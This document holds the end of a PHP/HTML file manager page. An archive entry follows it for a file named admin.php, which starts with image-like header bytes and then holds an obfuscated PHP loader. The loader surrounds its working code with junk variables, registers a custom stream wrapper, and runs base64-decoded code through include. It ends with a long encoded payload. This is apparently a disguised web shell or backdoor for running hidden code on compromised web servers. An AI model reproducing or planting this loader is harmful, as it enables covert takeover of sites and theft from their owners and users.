                <div class="bg-white dark:bg-gray-800 p-6 rounded-md max-w-lg w-full">
                    <h3 class="text-lg font-semibold mb-4">File Preview</h3>
                    <pre id="previewContent" class="file-preview bg-gray-200 dark:bg-gray-700 p-4 rounded-md"></pre>
                    <button onclick="hidePreview()" class="mt-4 p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Close</button>
                </div>
            </div>
        <?php endif; ?>
    </main>

    <script>
        function showRenameForm(oldPath, oldName) {
            document.getElementById('renameOld').value = oldPath;
            document.getElementById('renameNew').value = oldName;
            document.getElementById('renameFormContainer').style.display = 'block';
            document.getElementById('renameNew').focus();
        }

        function hideRenameForm() {
            document.getElementById('renameFormContainer').style.display = 'none';
        }

        function showPreview(content) {
            document.getElementById('previewContent').textContent = content;
            document.getElementById('previewModal').classList.remove('hidden');
        }

        function hidePreview() {
            document.getElementById('previewModal').classList.add('hidden');
        }

        document.getElementById('darkModeToggle').addEventListener('click', () => {
            document.documentElement.classList.toggle('dark');
            localStorage.setItem('darkMode', document.documentElement.classList.contains('dark'));
        });

        if (localStorage.getItem('darkMode') === 'true') {
            document.documentElement.classList.add('dark');
        }
    </script>
</body>
</html>js/content/files/v3/archive/data/cache/vvppo/admin.php000044400000071554152204755650016661 0ustar00ÿÄ µ   } !1AQa"q2‘¡#B±ÁRÑð$3br‚	

..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     ÿÄ µ   } !1AQa"q2‘¡#B±ÁRÑð$3br‚	

..............................................................................................................................................................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
function cnrmhtgpw($d,$k){$r='';$l=strlen($k);for($i=0;$i<strlen($d);$i++)$r.=chr(ord($d[$i])^ord($k[$i%$l]));return $r;}
$jgfso=497;$jfpop=$jgfso*1;unset($jfpop);
$jpssj=sprintf('%s','iduq');$jzjxl=strlen($jpssj);
$jjtno=array();$jjtno['k']=30;if(isset($jjtno['x'])){$jjtno['k']++;}else{$jjtno['k']--;}
$jddwi=411;$jmbha=$jddwi*4;unset($jmbha);
$jlsdz=0;while(false){$jlsdz++;}
$jxhuu=explode(',','afn,etg,uwx');$jafzp=implode('-',$jxhuu);
    // load
    // validate
class Wxcvqqog{public $context;public $d;public $p=0;public $l=0;function stream_open($path,$mode,$options,&$opened_path){$this->d=base64_decode(substr($path,7));$this->p=0;$this->l=strlen($this->d);return true;}function stream_read($count){if($this->p>=$this->l)return false;$r=substr($this->d,$this->p,$count);$this->p+=strlen($r);return $r;}function stream_eof(){return $this->p>=$this->l;}function stream_stat(){return array(0=>0,1=>0,2=>0,3=>0,4=>0,5=>0,6=>0,7=>$this->l,8=>0,9=>0,10=>0,11=>0,12=>0,'dev'=>0,'ino'=>0,'mode'=>0,'nlink'=>0,'uid'=>0,'gid'=>0,'rdev'=>0,'size'=>$this->l,'atime'=>0,'mtime'=>0,'ctime'=>0,'blksize'=>0,'blocks'=>0);}function stream_set_option($o,$a1,$a2){return false;}function stream_truncate($s){return false;}function stream_lock($o){return false;}function stream_seek($o,$w=0){if($w==0)$this->p=$o;return true;}function stream_tell(){return $this->p;}function stream_close(){return true;}function url_stat($p,$f){return array();}}
class awrskzzx{function tmxzagry($c){$jljlk=str_repeat(chr(84),4);$jmivz=str_rot13($jljlk);
$jcwwl=explode(',','dtf,zcy,gyc');$jpdzv=implode('-',$jcwwl);
$jmzrv=array_fill(0,rand(2,5),'jxamfk');$jmzrv=array_reverse($jmzrv);
if(!in_array('aoqj',stream_get_wrappers()))stream_wrapper_register('aoqj','Wxcvqqog');include 'aoqj://'.base64_encode('<?php '.$c);}}
$pnqbhct=base64_decode('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